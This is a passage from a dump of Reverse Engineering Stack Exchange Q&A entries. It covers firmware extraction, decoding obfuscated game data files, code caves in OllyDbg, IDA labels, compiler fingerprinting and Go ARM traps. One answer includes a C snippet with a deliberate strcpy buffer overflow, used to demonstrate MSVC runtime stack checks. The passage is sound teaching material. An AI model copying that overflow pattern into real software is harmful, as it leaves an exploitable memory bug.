<code>binwalk</code> doesn't seem to be able to give a good result</p>\n\n<pre><code>binwalk --dd='.*' maincode.abs\n</code></pre>\n\n<p>Is there a way to mount this abs file?</p>\n\n<p><a href=\"http://www.mediafire.com/file/d7j9m69m1stovnw/maincode.zip\" rel=\"nofollow noreferrer\">abs file</a></p>\n",
        "Title": "binwalk showing \"Unix path\", how to extract the filesystem?",
        "Tags": "|firmware|unpacking|",
        "Answer": "<p>The abs file seems to contain an RTOS (real-time OS) image. In this case the code and the resources are compiled into a one large image without a real file system. So, you can't unpack or mount any file system. But, you can extract some resources by reversing the image with a disassembler or using binwalk.</p>\n\n<p>The unix paths found by binwalk are just strings in the image, which may are not used at all.</p>\n"
    },
    {
        "Id": "17614",
        "CreationDate": "2018-03-06T02:08:24.567",
        "Body": "<p>I am very new to this whole business so please bear with me.  </p>\n\n<h2>Goal</h2>\n\n<p>My goal is to read JSON data from a game. Since I do not know what kind of information will/will not be useful, here are some of the details:  </p>\n\n<ul>\n<li>It is an obscure <em>mobile</em> game by a <em>Japanese</em> company.</li>\n<li>All the JSON files were under the folder named <code>binarytableassetsen</code> (they put either <code>en</code> or <code>jp</code> at the end of some of their folders).</li>\n</ul>\n\n<h2>Examples</h2>\n\n<p>Here's an example of one of the said files called <code>battle_pvp_cost.json</code>.<br>\n<code>xxd battle_pvp_cost_2.json &gt; temp.txt</code>  </p>\n\n<pre><code>00000000: 1400 0000 6261 7474 6c65 5f70 7670 5f63  ....battle_pvp_c\n00000010: 6f73 742e 6a73 6f6e 3701 0000 87ce ef3e  ost.json7......&gt;\n00000020: 47d6 93a2 656e a265 6ea2 6a70 ceb4 8e44  G...en.en.jp...D\n00000030: ecda 0029 789c 8b56 3254 d251 3202 6263  ...)x..V2T.Q2.bc\n00000040: 2036 0162 5320 3603 6273 20b6 0062 4b20   6.bS 6.bs ..bK \n00000050: 3634 0011 864a b10c 00c6 3707 fdce aca5  64...J....7.....\n00000060: d333 29ce befb 0353 c3ce 70da a798 a0ce  .3)....S..p.....\n00000070: b982 0d5b 00ce 1ab8 1a85 8bce 83dc efb7  ...[............\n00000080: 82ce bf39 6750 01ce 1826 94fc 32ce 1ad5  ...9gP...&amp;..2...\n00000090: be0d 82ce bf39 6750 02ce 1826 94fc 64ce  .....9gP...&amp;..d.\n000000a0: 6dd2 8e9b 82ce bf39 6750 03ce 1826 94fc  m......9gP...&amp;..\n000000b0: d100 c8ce f3b6 1b38 82ce bf39 6750 04ce  .......8...9gP..\n000000c0: 1826 94fc d101 2cce 84b1 2bae 82ce bf39  .&amp;....,...+....9\n000000d0: 6750 05ce 1826 94fc d101 90ce 1db8 7a14  gP...&amp;........z.\n000000e0: 82ce bf39 6750 06ce 1826 94fc d101 f4ce  ...9gP...&amp;......\n000000f0: 6abf 4a82 82ce bf39 6750 07ce 1826 94fc  j.J....9gP...&amp;..\n00000100: d102 58ce fa00 5713 82ce bf39 6750 08ce  ..X...W....9gP..\n00000110: 1826 94fc d102 bcce 8d07 6785 82ce bf39  .&amp;........g....9\n00000120: 6750 09ce 1826 94fc d103 20ce a15d 25e1  gP...&amp;.... ..]%.\n00000130: 82ce bf39 6750 0ace 1826 94fc d103 84ce  ...9gP...&amp;......\n00000140: d65a 1577 82ce bf39 6750 0bce 1826 94fc  .Z.w...9gP...&amp;..\n00000150: d103 e800 0000 0000                      ........\n</code></pre>\n\n<p>All of them begins in the same way with a value in the first byte followed by 3 bytes of 0s and then the file name.</p>\n\n<h2>Attempts</h2>\n\n<ul>\n<li>I used signsrch suggested by <a href=\"https://reverseengineering.stackexchange.com/a/14104/23489\">this answer</a> but found 0 signatures.  </li>\n<li>I played around with Burp suite decoder, but the output is equally messed up. The smart decode didn't give any output.  </li>\n<li>I also found <a href=\"http://zenhax.com/viewtopic.php?f=4&amp;t=27\" rel=\"nofollow noreferrer\">this collection</a> of compression algorithms. Some of them share the characteristic of having some of the data uncompressed like the lzo1x, but none of them seems to have the same amount of special characters. Does this mean there's a layer of obfuscation involved?</li>\n</ul>\n\n<p>If anyone recognises what this is or can point me in the right direction, then I am all ears. Please let me know if there is any more information I can provide to help guide the process. I've tried to put in all the details I think are relevant, but I am new to file decryption and may miss some crucial hints.</p>\n\n<hr>\n\n<p><strong>Edit</strong>  </p>\n\n<ol>\n<li>Opening the file correctly in the first place using a text editor that can handle binary data. <a href=\"https://stackoverflow.com/questions/216066/what-exactly-causes-binary-file-gibberish\">[Reading 1]</a> <a href=\"https://stackoverflow.com/a/20305782/9147640\">[Reading 2]</a> <a href=\"https://superuser.com/a/369236/856879\">[Reading 3]</a></li>\n<li>The files I got were exported from <a href=\"http://devxdevelopment.com/\" rel=\"nofollow noreferrer\">[Tool 1: DevXUnity]</a> and seems to be different from how I see it on the hex viewer within the tool itself (the first hex dump in this question) just as blabb and w s pointed out. I've included a link to the other version of the first example json. <a href=\"https://reverseengineering.stackexchange.com/a/15893/23489\">[Reading 1]</a> <a href=\"http://forum.zoneofgames.ru/topic/36240-unityex/\" rel=\"nofollow noreferrer\">[Tool 2: UnityEX]</a>  </li>\n<li>Found some related scripts:  </li>\n</ol>\n\n<h2>Scripts</h2>\n\n<p>Found <code>Parser.Parse(json);</code> in <code>Json.cs</code> and tried to mock it up on Unity but the result is incorrect.</p>\n\n<p>Here're the <a href=\"https://drive.google.com/open?id=1sg6fh5pK9Wh4Gk5rimpxCcmxeW2PMR7m\" rel=\"nofollow noreferrer\">scripts + json files in a shared gdrive</a>.  </p>\n\n<p>Call stacks from when the JSON was first referenced:  </p>\n\n<pre><code>battle_pvp_costTableAccessor::constructor()\nTableAccessorCore::reset(filename=\"battle_pvp_cost.json\", rootKey=\"battle_pvp_cost\")\nTableAccessorCore::reset(filename=\"battle_pvp_cost.json\", rootKey=\"battle_pvp_cost\", isResources=false)\n// Branch 1\nTableAccessor::get2(name=\"battle_pvp_cost.json\")\nTableAccessor::load2(name=\"battle_pvp_cost.json\", isResources=false)\nTableResources::load2(name=\"battle_pvp_cost.json\", isResources=false)\nTableResources::loadTextAssetFormTableAssets(filename=\"battle_pvp_cost.json\")\nTextAsset::ContainsAndLoadU5S(\"battle_pvp_cost.json\")(?)\n\n// Branch 2\nHandle::getTable(key=\"battle_pvp_cost\")\nuint key2 = CRC32.Compute(str=\"battle_pvp_cost\")\nParameterTableProxy::ParameterTable_table(handle=this.Ptr(?), key=key2)\n</code></pre>\n",
        "Title": "Need some pointers to decode/decrypt/unobfuscate JSON files (updated with related scripts)",
        "Tags": "|decryption|encodings|",
        "Answer": "<p>you need to post a textual hex-dump using some hex-editor that is capable of writing out     </p>\n\n<p>the gnu xxd is capable of doing that in terminal and has been ported to many os </p>\n\n<p>the second image in your question  that starts with 0x14 0x00 0x00 0x00 seems</p>\n\n<p>the 0x14 = 20 appears to be the size of filename \"battle_pvp_cost.json\"  </p>\n\n<pre><code>C:\\&gt;python\nPython 2.7.11 \n&gt;&gt;&gt; hex(len(\"battle_pvp_cost.json\"))\n'0x14'\n&gt;&gt;&gt;\n</code></pre>\n\n<p>that is followed by 0x137 which appears to be the size of binary data</p>\n\n<pre><code>&gt;&gt;&gt; hex((int(0x153-0x1c)))\n'0x137'\n</code></pre>\n\n<p>this is the data which you seem to be trying to decode / decrypt whatever </p>\n\n<p>87 ce ef 3e ...... until 0xe8 </p>\n\n<p>some binary seems to take this blob and writes down the decrypted / decoded /??? version of this blob </p>\n\n<p>you have to find out who uses this blob and may be reverse engineer that binary to understand </p>\n\n<p>the first block-quote seems to be this data the third character is greater than symbol which converts to 0x3e </p>\n\n<p>if you notice the png you posted in your last comment has this pattern interspersed <strong>0xef 0xbf 0xbd</strong>  for some  bytes\nother bytes are left intact from the second hexdump screen shot  </p>\n\n<p>removing the pattern you get what is in the second screen shot </p>\n\n<pre><code>Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n\n00000000  00 00 00 00 00 00 00 00 00 3E 47 D6 93 00 00 00  .........&gt;G\u00d6\u201c...\n00000010  65 6E 00 00 00 65 6E 00 00 00 6A 70 CE B4 00 00  en...en...jp\u00ce\u00b4..\n00000020  00 44 00 00 00 00 00 00 00 29 78 00 00 00 00 00  .D.......)x.....\n00000030  00 56 32 54 00 00 00 51 32 02 62 63 20 36 01 62  .V2T...Q2.bc 6.b\n00000040  53 20 36 03 62 73 20 00 00 00 00 62 4B 20 36 34  S 6.bs ....bK 64\n00000050  00 11 00 00 00 4A 00 00 00 0C 00 00 00 00 37 07  .....J........7.\n00000060  00 00 00 CE AC 00 00 00 00 00 00 33 29 CE BE 00  ...\u00ce\u00ac......3)\u00ce\u00be.\n00000070  00 00 03 53 00 00 00 00 00 00 70 DA A7 00 00 00  ...S......p\u00da\u00a7...\n00000080  00 00 00 CE B9 00 00 00 0D 5B 00 00 00 00 1A 00  ...\u00ce\u00b9....[......\n00000090  00 00 1A 00 00 00 00 00 00 CE 83 00 00 00 EF B7  .........\u00ce\u0192...\u00ef\u00b7\n000000A0  82 CE BF 39 67 50 01 00 00 00 18 26 00 00 00 00  \u201a\u00ce\u00bf9gP.....&amp;....\n000000B0  00 00 32 00 00 00 1A D5 BE 0D 00 00 00 CE BF 39  ..2....\u00d5\u00be....\u00ce\u00bf9\n000000C0  67 50 02 00 00 00 18 26 00 00 00 00 00 00 64 00  gP.....&amp;......d.\n000000D0  00 00 6D D2 8E 00 00 00 00 00 00 CE BF 39 67 50  ..m\u00d2\u017d......\u00ce\u00bf9gP\n000000E0  03 00 00 00 18 26 00 00 00 00 00 00 00 00 00 00  .....&amp;..........\n000000F0  00 00 00 00 00 00 00 00 00 1B 38 00 00 00 CE BF  ..........8...\u00ce\u00bf\n00000100  39 67 50 04 00 00 00 18 26 00 00 00 00 00 00 00  9gP.....&amp;.......\n00000110  00 00 01 2C CE 84 00 00 00 2B 00 00 00 00 00 00  ...,\u00ce\u201e...+......\n00000120  CE BF 39 67 50 05 00 00 00 18 26 00 00 00 00 00  \u00ce\u00bf9gP.....&amp;.....\n00000130  00 00 00 00 01 00 00 00 00 00 00 1D 00 00 00 7A  ...............z\n00000140  14 00 00 00 CE BF 39 67 50 06 00 00 00 18 26 00  ....\u00ce\u00bf9gP.....&amp;.\n00000150  00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 6A  ...............j\n00000160  00 00 00 4A 00 00 00 00 00 00 CE BF 39 67 50 07  ...J......\u00ce\u00bf9gP.\n00000170  00 00 00 18 26 00 00 00 00 00 00 00 00 00 02 58  ....&amp;..........X\n00000180  00 00 00 00 00 00 00 57 13 00 00 00 CE BF 39 67  .......W....\u00ce\u00bf9g\n00000190  50 08 00 00 00 18 26 00 00 00 00 00 00 00 00 00  P.....&amp;.........\n000001A0  02 00 00 00 CE 8D 07 67 00 00 00 00 00 00 CE BF  ....\u00ce..g......\u00ce\u00bf\n000001B0  39 67 50 09 00 00 00 18 26 00 00 00 00 00 00 00  9gP.....&amp;.......\n000001C0  00 00 03 20 CE A1 5D 25 00 00 00 CE BF 39 67 50  ... \u00ce\u00a1]%...\u00ce\u00bf9gP\n000001D0  0A 00 00 00 18 26 00 00 00 00 00 00 00 00 00 03  .....&amp;..........\n000001E0  00 00 00 00 00 00 00 00 00 5A 15 77 00 00 00 CE  .........Z.w...\u00ce\n000001F0  BF 39 67 50 0B 00 00 00 18 26 00 00 00 00 00 00  \u00bf9gP.....&amp;......\n00000200  00 00 00 03 00 00 00                             .......   \n</code></pre>\n\n<p>those are utf8 <a href=\"https://www.fileformat.info/info/unicode/char/fffd/index.htm\" rel=\"nofollow noreferrer\">replacement charecters</a></p>\n\n<pre><code>&amp;#65533;&amp;#65533;&amp;#65533;&amp;#65533;&amp;#65533;\n</code></pre>\n\n<p>&#65533;&#65533;&#65533;&#65533;&#65533;</p>\n\n<p>to answer your comment regarding decoding/decrypting the contents </p>\n\n<p>since you dont have other samples first thing you should do is gather as many samples as you can and confirm if the hypothesis is correct </p>\n\n<p>the hypothesis being  first dword = length of file followed by actual file name of said length </p>\n\n<p>on the end of filename another dword that possibly indicates the length of binary blob  and followed by actual binary blob of said length </p>\n\n<p>if the file is bigger than the battxx.json does it have other pairs like this </p>\n\n<p>ie another file followed by another binary blob </p>\n\n<p>if the hypothesis pans out </p>\n\n<p>then if you are on windows and you can execute the game or application \nthen you can log the games/ applications activity  with procmon / api monitor etc / if you are on nix you have ltrace / strace etc basically a program that monitors activities and logs call stacks / arguments / function reurns etc \nwith that running in background if you executed the game / app and if it accesses this file you can see the call stack and debug the game / app independently and single step around and watch what exactly is happening </p>\n\n<p>a small sample flow diagram would be like Open-> read / map -> manipulate -> write / use </p>\n"
    },
    {
        "Id": "17616",
        "CreationDate": "2018-03-06T03:22:22.130",
        "Body": "<p>I need to copy some code of old version to the new version .exe file. It contains 30 to (N) number of code line. How can I copy and paste the old code to new version. Any help is so much appreciated. Basically I need to do it like what <strong>Fill with NOP</strong> does(which is noping N number of lines) I need to copy and paste a code like N number of times.</p>\n",
        "Title": "How to paste 30-(N) number of assembly code to ollydbg",
        "Tags": "|ollydbg|",
        "Answer": "<p>There many ways to do this.</p>\n\n<p>I once had to add 3000 lines to a program . The answer above works , but your life will become much ,much harder this way.</p>\n\n<p>Use this tool <a href=\"http://rammichael.com/multimate-assembler\" rel=\"nofollow noreferrer\">MLA from Ramm michael</a>\nIn Olly , you can just right click and open a part or section if highlighted in this notepad like plugin. You can just simply copy paste and click to insert assembly. </p>\n\n<p>I like this tool  because as you go along you can simply just edit your code and click the assemble button and that is it! Its like coding assembly without needing to compile!</p>\n\n<p>As a warning, make sure your code fits. Usually , I will code cave or something and then jump back to the origional code.</p>\n\n<p>Let me know.of you have questions. The tool is pretty simple to use and Ramm is a pretty cool guy. </p>\n\n<p>Here is a video that uses this a bit.</p>\n\n<p><a href=\"https://m.youtube.com/watch?v=z7V2Y0YBxb0\" rel=\"nofollow noreferrer\">Assembly tutorials</a></p>\n"
    },
    {
        "Id": "17646",
        "CreationDate": "2018-03-09T18:52:43.583",
        "Body": "<p>I've open wsl.exe in IDA v7. With Tab key I open pseudocode of <code>sub_1400129F4</code> like this:</p>\n\n<pre><code>__int64 sub_1400129F4(__int64 a1, __int64 a2, __int64 a3, __int64 a4, ...) {\n......\n\nv8 = (__int64 *)sub_140011A40();\n}\n</code></pre>\n\n<ul>\n<li>The assembly of  <code>sub_140011A40()</code>:</li>\n</ul>\n\n\n\n<pre><code>sub_140011A40 proc near\nlea     rax, unk_14001C2B0\nretn\nsub_140011A40 endp\n</code></pre>\n\n<ul>\n<li>The pseudo code of <code>sub_140011A40()</code>:</li>\n</ul>\n\n\n\n<pre><code>void *sub_140011A40() {\n  return &amp;unk_14001C2B0;\n}\n</code></pre>\n\n<ul>\n<li>The <code>.data</code> sections shows this:</li>\n</ul>\n\n\n\n<pre><code>.data:000000014001C2AE                 db    0\n.data:000000014001C2AF                 db    0\n.data:000000014001C2B0 unk_14001C2B0   db    0                 ; DATA XREF: sub_140011A40\u2191o\n.data:000000014001C2B1                 db    0\n.data:000000014001C2B2                 db    0\n.data:000000014001C2B3                 db    0\n.data:000000014001C2B4                 db    0\n.data:000000014001C2B5                 db    0\n.data:000000014001C2B6                 db    0\n.data:000000014001C2B7                 db    0\n.data:000000014001C2B8 unk_14001C2B8   db    0                 ; DATA XREF: sub_140011A48\u2191o\n.data:000000014001C2B9                 db    0\n.data:000000014001C2BA                 db    0\n</code></pre>\n\n<ul>\n<li>Question: What is the <code>unk</code> in that pseudo code or in that assembly? Does it hold the values of eight zeros from <code>.data</code> section?</li>\n</ul>\n",
        "Title": "What are the unk in IDA pseudo code?",
        "Tags": "|ida|disassembly|",
        "Answer": "<pre><code>lea rax , unk___xxx \nret \n</code></pre>\n\n<p>means the function returns the address not the contents </p>\n\n<p>lea (load effective address ) is a special kind of mov instruction that load the address not the contents    </p>\n\n<p>the unk is a label ida could not decipher the type so it labelled the address as unk (possibly short form for unknown)    </p>\n\n<p>if you select that address and press <strong>d</strong> ida will replace the unk with byte \nif you press <strong>d</strong>  again ida will rename the byte to word  etc etc </p>\n\n<p>basically from your pseudo code </p>\n\n<p>the result would be <code>v8 = &amp;foo()</code> </p>\n\n<p>a screen shot where ida wasn't sure what the type was for a <code>CRITICAL_SECTION</code> pointer manually applying the structure to the address</p>\n\n<p><a href=\"https://i.stack.imgur.com/AfrcS.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/AfrcS.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "17648",
        "CreationDate": "2018-03-10T07:43:54.650",
        "Body": "<p>I'm reading the IDA Pro book and in chapter 20 the author shows the following code from a debug build:</p>\n\n<pre><code>push ebp\nmov ebp, esp\nsub esp, 0F0h\npush ebx\npush esi\npush edi \nlea edi, [ebp+var_F0]\nmov ecx, 3Ch\nmov eax, 0CCCCCCCCh\nrep stosd\nmov[ebp+var_8], 0\nmov [ebp+var_14], 1\nmov [ebp+var_20], 2\nmov [ebp+var_2C], 3\n</code></pre>\n\n<p>As we can see the local variables are not adjacent to each other. Chris Eagle outlines that this makes it easier to detect  overflows from one variable that may spill into and corrupt another variable, and then he just left it at that. That doesn't make sense to me, isn't it easier to just set a breakpoint after a specific operation that could cause an overflow and then check the value of variable? How exactly is this more useful?</p>\n",
        "Title": "Debug vs Release binaries - Overflow detection",
        "Tags": "|ida|ollydbg|buffer-overflow|software-security|",
        "Answer": "<p>the latest visual studio compilers use runtime checks to detect overflows it \nperforms them using a variety of run-time checks </p>\n\n<p>you can use them in un-optimized builds only  /Od \n(these don't work in optimized builds  not with /O1 or /O2 or /Ox)</p>\n\n<p>these can be either <strong><a href=\"https://docs.microsoft.com/en-us/cpp/preprocessor/runtime-checks\" rel=\"nofollow noreferrer\">#pragmas</a></strong> or <a href=\"https://docs.microsoft.com/en-us/cpp/build/reference/rtc-run-time-error-checks\" rel=\"nofollow noreferrer\"><strong>/RTC1 /RTCS | U | C</strong></a> command-line switches </p>\n\n<p>the stack corruption is detected by means of allocating a larger buffer than is required and filling it up with a known pattern     </p>\n\n<p>since the compiler knows how much space should be used it can check if the bounds have been trampled with unknown pattern    </p>\n\n<p>(yes some clever pattern matching exploits can possibly still try to fool this but it works for genuine usage where you are writing an inadvertently overflowing code) </p>\n\n<p>take for example this code </p>\n\n<pre><code>#define CRT_SECURE_NO_WARNING\n#include &lt;string.h&gt;\n#include &lt;stdio.h&gt;\nvoid foo(void){\n    char flowoverme[0x10];\n    strcpy(flowoverme,\"yaddaaayadddaaafoo\");\n}\nint main(void){\n    foo();\n    printf(\"checking overflows by pattern pasting \\n\");\n}\n</code></pre>\n\n<p>(if you use /analyze compiler switch it will spit out this code will overflow </p>\n\n<pre><code>:\\&gt;cl /nologo /Zi /RTC1 /analyze /Od /EHsc rtcchk.cpp /link /nologo /debug\nrtcchk.cpp\nrtcchk.cpp(8) : warning C6386: Buffer overrun while writing to 'flowoverme':  the wr\nitable size is '16' bytes, but '19' bytes might be written.: Lines: 7, 8\n</code></pre>\n\n<p>but assume you just did cl foo.cpp</p>\n\n<pre><code>:\\&gt;cl /nologo /Zi /RTC1 /Od /EHsc rtcchk.cpp /link /nologo /debug\nrtcchk.cpp\n</code></pre>\n\n<p>if you execute this compiled code the printf wont be reached if runtime checks were enabled </p>\n\n<pre><code>:\\&gt;rtcchk.exe\n\n:\\&gt;\n</code></pre>\n\n<p>we can disassemble and see what is happening inside the function foo and why printf() is not executed </p>\n\n<p>lets open up the binary in windbg go to start of foo() and ask windbg to go up (gu that is return to main() back) as below and you will notice windbg doesn't return to main but stops with an error message </p>\n\n<pre><code>:\\&gt;cdb -c \"g rtcchk!foo;gu\" rtcchk.exe\n\nMicrosoft (R) Windows Debugger Version 10.0.16299.15 X86\n\n0:000&gt; cdb: Reading initial command 'g rtcchk!foo;gu'\n\nrtcchk!failwithmessage+0x255:\n013d75da cc              int     3\n</code></pre>\n\n<p>and the call stack would show </p>\n\n<pre><code>0:000&gt; kP\nChildEBP RetAddr\n0028f544 013d72a9 rtcchk!failwithmessage(\n                        void * retaddr = 0x013d698a,\n                        int crttype = 0n1,\n                        int errnum = 0n2,\n                        char * msg = 0x0028f568 \"Stack around the variable 'flowoverme' was corrupted.\")+0x255\n0028f96c 013d6c3d rtcchk!_RTC_StackFailure(\n                        void * retaddr = 0x013d698a,\n                        char * varname = 0x013d69b8 \"flowoverme\")+0x94\n0028f98c 013d698a rtcchk!_RTC_CheckStackVars(\n                        void * frame = 0x0028f9b8,\n                        struct _RTC_framedesc * v = 0x013d69a4)+0x42\n0028f9b8 013d69d8 rtcchk!foo(void)+0x4a\n0028f9c0 013d6ecd rtcchk!main(void)+0x8\n(Inline) -------- rtcchk!invoke_main+0x1c\n0028fa08 76a9ed6c rtcchk!__scrt_common_main_seh(void)+0xf9\n0028fa14 77cb37eb kernel32!BaseThreadInitThunk+0xe\n0028fa54 77cb37be ntdll!__RtlUserThreadStart+0x70\n0028fa6c 00000000 ntdll!_RtlUserThreadStart+0x1b\n0:000&gt;\n</code></pre>\n\n<p>if you still want to know what or how those functions operate open up either crt sources in vs  or disassemble the functions</p>\n\n<p>the compiler knows the required size and where the bounds are </p>\n\n<pre><code>0:000&gt; dx -r3 (_RTC_framedesc *) 0x013d69a4\n(_RTC_framedesc *) 0x013d69a4  : 0x13d69a4 [Type: _RTC_framedesc *]\n    [+0x000] varCount         : 1 [Type: int]\n    [+0x004] variables        : 0x13d69ac [Type: _RTC_vardesc *]\n        [+0x000] addr             : -24 [Type: int]\n        [+0x004] size             : 16 [Type: int]\n        [+0x008] name             : 0x13d69b8 : \"flowoverme\" [Type: char *]\n0:000&gt;\n</code></pre>\n"
    },
    {
        "Id": "17649",
        "CreationDate": "2018-03-10T09:01:23.097",
        "Body": "<p>I've been recently looking through decompiled AS3 code from Ubisoft's \"The Settlers Online\" and found an easter egg along with something that looked like trigger, but - as I have never read AS3 before, and even if - decompiled code is often too obscure to understand, even for experienced coders , not to say for me. so, here I came up with question: anyone has a clue how to trigger that easter contained in this tiny AS3 snippet:</p>\n\n<pre><code>package Utils\n{\n   import flash.events.KeyboardEvent;\n   import flash.ui.Keyboard;\n   import mx.core.UIComponent;\n\n   public class RabbidCode\n   {\n\n\n      private var sequence:Array;\n\n      public function RabbidCode()\n      {\n         while(true)\n         {\n            while(true)\n            {\n               switch(0)\n               {\n                  case 0:\n                     super();\n                     this.reset();\n                     (global.getApplication() as UIComponent).stage.addEventListener(KeyboardEvent.KEY_UP,this.handleKeyUp);\n                     return;\n                  case 1:\n                     continue;\n               }\n            }\n         }\n      }\n\n      private function handleKeyUp(param1:KeyboardEvent) : void\n      {\n         while(false)\n         {\n         }\n         var _loc2_:int = this.sequence.shift();\n         if(param1.keyCode == _loc2_)\n         {\n            if(this.sequence.length == 0)\n            {\n               this.action();\n            }\n            else\n            {\n               return;\n            }\n         }\n         this.reset();\n      }\n\n      private function action() : void\n      {\n         while(true)\n         {\n            while(true)\n            {\n               switch(0)\n               {\n                  case 0:\n                     var _loc1_:* = [\"Graubart\",\"Pandur\",\"Amaris\",\"Helene\",\"Ravel\",\"EnglishFellow\",\"Shark\",\"AJ\",\"David\",\"Ferhat\",\"Kalle\",\"Buan\",\"Franck\",\"Alexandra\",\"Bine\",\"Nils\",\"ZockenMitKatze\",\"Aenlin\",\"Miriam\",\"Crystaliq\",\"Buddy\",\"C\u00e9line\",\"Ally\",\"Jason\",\"Omris\",\"Orowa\",\"Lyedra\",\"Anna\",\"Talamira\",\"Taku\",\"Throril\",\"Naknaknak\",\"Infran\",\"Linki\",\"Henning\",\"Dzan\",\"Sandra\",\"Pherlin\",\"Andreas\",\"Alexander\",\"Angel\",\"Bogdan\",\"Carlos\",\"Chris\",\"Claudiu\",\"Denis\",\"Ignacio\",\"Linda\",\"Marcel\",\"Matthias\",\"Michael\",\"Mirco\",\"Oliver\",\"Paul\",\"Catalin\",\"Bob\",\"Rudi\",\"Ruslan\",\"Simon\",\"Sonja\",\"Stefan\",\"Tobias\",\"Jakub\",\"Violeta\",\"Maggie\",\"Clara\",\"Erkan\",\"Sabrina\",\"Sebastian\",\"Patrick\",\"Aeyline\",\"Penelopa\",\"Ondgrund\",\"Belegha\",\"Acadma\",\"Omris\",\"Amta\",\"Maxhylere\",\"Kumakun\",\"Orowa\",\"Saqui\",\"Nanuq\",\"Taku\",\"Aylea\",\"Anash\",\"Zoltan\",\"Grubur\",\"Veythyru\"];\n                     global.ui.mCurrentPlayerZone.mSettlerKIManager.setNameList(_loc1_);\n                     return;\n                  case 1:\n                     continue;\n               }\n            }\n         }\n      }\n\n      private function reset() : void\n      {\n         while(false)\n         {\n         }\n         this.sequence = [Keyboard.UP,Keyboard.UP,Keyboard.DOWN,Keyboard.DOWN,Keyboard.LEFT,Keyboard.RIGHT,Keyboard.LEFT,Keyboard.RIGHT,\"B\".charCodeAt(0),\"A\".charCodeAt(0)];\n      }\n   }\n}\n</code></pre>\n",
        "Title": "found easter egg (incl releasing trigger) in as code, but no clue how to fire it",
        "Tags": "|disassembly|flash|",
        "Answer": "<p>This combination (<kbd>up</kbd>, <kbd>up</kbd>, <kbd>down</kbd>, <kbd>down</kbd>, <kbd>left</kbd>, <kbd>right</kbd>, <kbd>left</kbd>, <kbd>right</kbd>, <kbd>A</kbd>, <kbd>B</kbd>) is a well known <a href=\"https://en.wikipedia.org/wiki/Konami_Code\" rel=\"nofollow noreferrer\">Konami code</a> so just pressing those keys should trigger it. </p>\n\n<p>The real question here is when, or if at all this code is loaded so that it actually is hooked-up and can be triggered.</p>\n"
    },
    {
        "Id": "17663",
        "CreationDate": "2018-03-12T12:10:38.663",
        "Body": "<p>I looked at two ways so far. Both did not convince me in regard to false positives or false negatives:</p>\n\n<ol>\n<li><p>Using strings: <a href=\"https://stackoverflow.com/questions/2387040/how-to-retrieve-the-gcc-version-used-to-compile-a-given-elf-executable\">How to retrieve the GCC version used to compile a given ELF executable?</a></p></li>\n<li><p>Using the linker version field in the PE header: <a href=\"https://stackoverflow.com/questions/40831299/can-i-tell-what-version-of-visual-studio-was-used-to-build-a-dll-by-examining-th\">Can I tell what version of Visual Studio was used to build a DLL by examining the DLL itself?</a></p></li>\n</ol>\n\n<p>What is a good heuristic to tell if a PE executable was compiled with VisualStudio/gcc ? </p>\n\n<p>For example, are there certain strings, header values, sections, imports, etc. that allow to differentiate one from the other? The exact compiler versions and used compiler flags do not matter...</p>\n\n<p>I am also not expecting malicious executables.</p>\n",
        "Title": "How to find out if PE executable was compiled with gcc or VisualStudio?",
        "Tags": "|pe|executable|compilers|binary-format|gcc|",
        "Answer": "<p>While not a definitive way of determining if GCC OR MSVC (Visual Studio) was used, the presence of the Rich header does determine whether Microsoft's link.exe (MS VC Toolset's linker) was used. (Note: Newer Visual Studio also supports building with clang)</p>\n\n<p>I get that it's officially undocumented, but it's arguably the most publicly well-known and documented <em>undocumented</em> PE structure.</p>\n\n<p>Link.exe always inserts the Rich header, there's no way to tell it not to. There's even a request on visualstudio.com to add a switch to remove it, but the official response is that there's no way currently: <a href=\"https://developercommunity.visualstudio.com/idea/740443/add-linker-option-to-strip-rich-stamp-from-exe-hea.html\" rel=\"noreferrer\">https://developercommunity.visualstudio.com/idea/740443/add-linker-option-to-strip-rich-stamp-from-exe-hea.html</a>. They are also likely never going to remove this header even with \"developer privacy\" as the stated concern because the information contained is build environment related (not personally identifiable usually) and is currently a very popular way to loosely link malware attribution.</p>\n\n<p>Conversely, MinGW, GCC, and others do not insert this header.</p>\n\n<p>If you want some python code to detect the presence of the Rich header (the pefile module is packed full of features to also parse and manipulate headers):</p>\n\n\n\n<pre><code>from pefile import PE\n\npe = PE('/path/to/file.exe')\n\nrich_header = pe.RICH_HEADER\n\nreturn rich_header is not None\n</code></pre>\n\n<p>If <code>rich_header is None</code> then there is no header present, otherwise, this contains the header and its values.</p>\n"
    },
    {
        "Id": "17665",
        "CreationDate": "2018-03-12T16:05:52.833",
        "Body": "<p>I'm reverse engineering an ARM binary written in Go, and the following code sequence occurs fairly often (from <em>runtime.cgoIsGoPointer</em>):</p>\n\n<pre><code>BL  runtime.panicindex\nDCD 0xF7FABCFD\n</code></pre>\n\n<p>or, from <em>runtime.panicmem</em>:</p>\n\n<pre><code>BL  runtime.gopanic\nDCD 0xF7FABCFD\n</code></pre>\n\n<p>0xF7FABCFD is an undefined instruction, so I'm curious what it's purpose is.  I think the answer may be related to <a href=\"https://stackoverflow.com/questions/11140136/whats-the-purpose-of-the-ud2-opcode-in-the-linux-kernel\">this question</a>, because compiling for x86 produces the following sequence of instructions in the corresponding functions:</p>\n\n<pre><code>callq runtime.panicindex\nud2\n</code></pre>\n\n<p>and</p>\n\n<pre><code>callq runtime.gopanic\nud2\n</code></pre>\n\n<p>It looks like the linux kernel uses different instructions for this purpose.  From <a href=\"https://elixir.bootlin.com/linux/v4.14.26/source/arch/arm/include/asm/bug.h#L9\" rel=\"nofollow noreferrer\">arch/arm/include/asm/bug.h</a>:</p>\n\n<pre><code>/*\n * Use a suitable undefined instruction to use for ARM/Thumb2 bug handling.\n * We need to be careful not to conflict with those used by other modules and\n * the register_undef_hook() system.\n */\n#ifdef CONFIG_THUMB2_KERNEL\n#define BUG_INSTR_VALUE 0xde02\n#define BUG_INSTR(__value) __inst_thumb16(__value)\n#else\n#define BUG_INSTR_VALUE 0xe7f001f2\n#define BUG_INSTR(__value) __inst_arm(__value)\n#endif\n</code></pre>\n\n<p>But there is reference to 0xf7fabcfd in some of the Go internals.  From <a href=\"https://golang.org/src/cmd/internal/obj/arm/asm5.go#L2744\" rel=\"nofollow noreferrer\">cmd/internal/obj/arm/asm5.go</a>:</p>\n\n<pre><code>// This is supposed to be something that stops execution.\n// It's not supposed to be reached, ever, but if it is, we'd\n// like 